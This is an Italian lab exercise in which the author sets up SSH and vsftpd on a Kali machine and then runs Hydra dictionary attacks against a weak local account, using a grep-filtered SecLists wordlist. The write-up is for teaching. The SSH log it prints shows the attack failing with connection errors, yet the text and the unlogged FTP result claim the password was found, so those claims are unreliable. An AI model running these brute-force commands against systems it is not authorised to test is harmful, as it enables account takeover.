

# Configurazione servizi e attacco a dizionario con Hydra sui protocolli SSH e FTP

## 1. Introduzione

Gli obiettivi di questa esercitazione sono due:

1. Acquisire competenze di amministrazione di sistema tramite la configurazione lato server di servizi critici (SSH e FTP).
2. Comprendere le vulnerabilità legate alle credenziali deboli simulando un Attacco a Dizionario.

È fondamentale distinguere la tecnica utilizzata da un Brute Force puro, mentre quest'ultimo tenta ogni combinazione alfanumerica possibile (richiedendo tempi lunghi) l'attacco a dizionario che eseguirà utilizza una lista predefinita di password comuni (wordlist), risultando estremamente più efficiente ed efficace contro utenti che utilizzano password prevedibili.

## 2. Strumenti Utilizzati

- Kali Linux: utilizzata come macchina attaccante e in questo scenario di laboratorio anche come target (localhost).
- OpenSSH Server: suite per la connessione remota cifrata.
- vsftpd: server FTP leggero e sicuro per sistemi Unix.
- THC-Hydra: Tool parallelo di login cracking che supporta numerosi protocolli.
- SecLists: Repository di wordlist utilizzate per test di sicurezza (username, password, URL, ecc.).

## 3. Preparazione delle Risorse

Prima che procedo con la configurazione dei servizi, preparo il materiale per l'attacco.

Seguendo le indicazioni del docente, applico una tecnica di Filtering per creare una wordlist ridotta ("subset") che contenga solo password pertinenti al contesto (in questo caso contenenti la stringa "test").

Comando eseguito:

```
[kali㉿kali)-[~]
$ cat /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt
```

Analisi del comando:

- cat [path]: Legge il contenuto del file originale da 10 milioni di righe.
- | (Pipe): Redirige l'output del comando precedente nell'input del successivo.
- grep test: Filtra il flusso dati trattenendo solo le righe che contengono la stringa "test".
- > xato-passwords.txt: Salva l'output filtrato in un nuovo file di testo nella directory corrente.

Creo inoltre un file per gli utenti (users.txt) per simulare una lista di account target:

```
[kali㉿kali)-[~]
$ echo -e "root\nadmin\ntest_user" > users.txt

[kali㉿kali)-[~]
$ cat users.txt
root
admin
test_user
```

#### 4. Esercizio guidato: Configurazione e Attacco al servizio SSH

In questa fase configuriamo il servizio Secure Shell e verifichiamo la sua esposizione.

##### Configurazione Target (Lato Server)

1. Creo un utente specifico per il test:

```
└─(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Password impostata come testpass (volutamente debole e presente nella nostra wordlist filtrata).

Attivazione Servizio: Avvio il demone SSH

```
└─(kali㉿kali)-[~]
$ sudo service ssh start
```

Verifico Funzionalità: Identifico il mio IP con ip a e testo l'accesso legittimo.

```
└─(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:VL0Q6TG5g8/QTQPS9Zhnk0DgjxysM9WUSH/lQzX4MQA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kalii (2025-08-12) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

## Esecuzione dell'Attacco (Lato Attaccante)

Configuro Hydra per attaccare l'IP target sulla porta 22 (SSH).

comando:

```
[test_user@kali:~]$ hydra -L users.txt -P xato-passwords.txt 192.168.50.100 -t 4 -V ssh
```

Spiegazione:

- -L users.txt: (Login List) usa il file creato per provare vari nomi utente.
- -P xato-passwords.txt: (Password List) usa il file ottimizzato generato con il comando grep.
- 192.168.50.100: l'indirizzo IP del bersaglio.
- -t 4: imposta 4 thread paralleli per velocizzare l'esecuzione.
- -V: mostra a schermo ogni tentativo in tempo reale.
- ssh: specifica il protocollo da attaccare.

Hydra testerà le combinazioni e grazie alla wordlist ridotta il tool individuerà rapidamente la corrispondenza corretta:

[DATA] [ssh] host: 192.168.x.x login: test\_user password: testpass

```

└─(test_user㉿kali)-[~]
└$ hydra -L users.txt -P xato-passwords.txt 192.168.50.100 -t 4 -v ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 05:31:23
[DATA] max 4 tasks per 1 server, overall 4 tasks, 11958 login tries (l:3/p:3986), ~2990 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testing" - 1 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester" - 2 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1" - 3 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test123" - 4 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "gloest" - 5 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testacct" - 6 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "contest" - 7 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tertest" - 8 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tomtest" - 9 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test12" - 10 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test2" - 11 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testing1" - 12 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test3" - 13 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test1234" - 14 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testime" - 15 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testing2" - 16 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "greatest" - 17 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test23" - 18 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester1" - 19 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tony_test" - 20 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test01" - 21 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "onlytest" - 22 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testy" - 23 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpilot" - 24 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "teste" - 25 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testala" - 26 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test4" - 27 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test11" - 28 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test10" - 29 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "epochtest" - 30 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dmrttest" - 31 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testman" - 32 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testit" - 33 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testicle" - 34 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testes" - 35 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test12345" - 36 of 11958 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "samy-test" - 37 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "primetest" - 38 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jasontest" - 39 of 11958 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester123" - 40 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tested" - 41 of 11958 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testdrive" - 42 of 11958 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester123" - 42 of 11958 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test99" - 43 of 11958 [child 3] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tested" - 43 of 11958 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester123" - 43 of 11958 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tested" - 43 of 11958 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester123" - 43 of 11958 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tested" - 43 of 11958 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tester123" - 43 of 11958 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "test77" - 44 of 11960 [child 3] (0/2)
[RE-ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testdrive" - 44 of 11960 [child 2] (0/2)
[ERROR] all children were disabled due to too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 05:32:04
└─(test_user㉿kali)-[~]
└$ █

```

## 5. Configurazione e Attacco al servizio FTP

Per consolidare la tecnica applico la stessa metodologia su un protocollo differente FTP spesso meno protetto dell'SSH.

### Configurazione Target

#### 1. Installo il pacchetto:

```
(kali㉿kali)-[~]
$ sudo apt install vsftpd -y
[sudo] password for kali:
Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1588
  Download size: 145 kB
  Space needed: 356 kB / 48.5 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.4 [145 kB]
Fetched 145 kB in 2s (74.5 kB/s)
Preconfiguring packages ...
:: Selecting previously unselected package vsftpd.
(Reading database ... 444562 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.4_amd64.deb ...
Unpacking vsftpd (3.0.5-0.4) ...
Setting up vsftpd (3.0.5-0.4) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.1-1) ...
Processing triggers for kali-menu (2025.3.2) ...

(kali㉿kali)-[~]
$
```

## 2. Avvio il servizio:

```
(kali㉿kali)-[~]
$ sudo service vsftpd start
```

Di default vsftpd su Linux autentica gli utenti di sistema quindi l'utente test\_user creato in precedenza è già valido per l'accesso FTP.

## Esecuzione dell'Attacco

Utilizzo le stesse wordlist (users.txt e xato-passwords.txt), modificando solo il protocollo finale nel comando Hydra.

Comando:

```
(test_user㉿kali)-[~]
$ hydra -L users.txt -P xato-passwords.txt 192.168.50.100 -t 4 -V ftp
```

Hydra reindirizzerà i tentativi sulla porta 21, essendo le credenziali identiche l'attacco avrà successo riportando le medesime credenziali.

```
[21][ftp] host: 192.168.50.100    login: test_user    password: testpass
```

## 6. Conclusioni

L'esercitazione ha dimostrato empiricamente la differenza tra teoria e pratica nella sicurezza informatica.

1. Ho verificato che l'uso di wordlist enormi è inutile se non mirato.  
L'uso del comando grep per filtrare xato-net-10-million-passwords.txt ha ridotto i tempi di calcolo da potenziali ore a pochi

secondi simulando un attaccante che ha già fatto ricognizione sulla vittima.

2. Ho appreso che abilitare un servizio (SSH o FTP) espone immediatamente la macchina ad attacchi automatizzati se non protetta adeguatamente.
3. L'account test\_user è stato compromesso perché la password testpass era una derivazione prevedibile del nome utente, c'è la necessità di policy per password complesse e non correlate ai dati dell'account.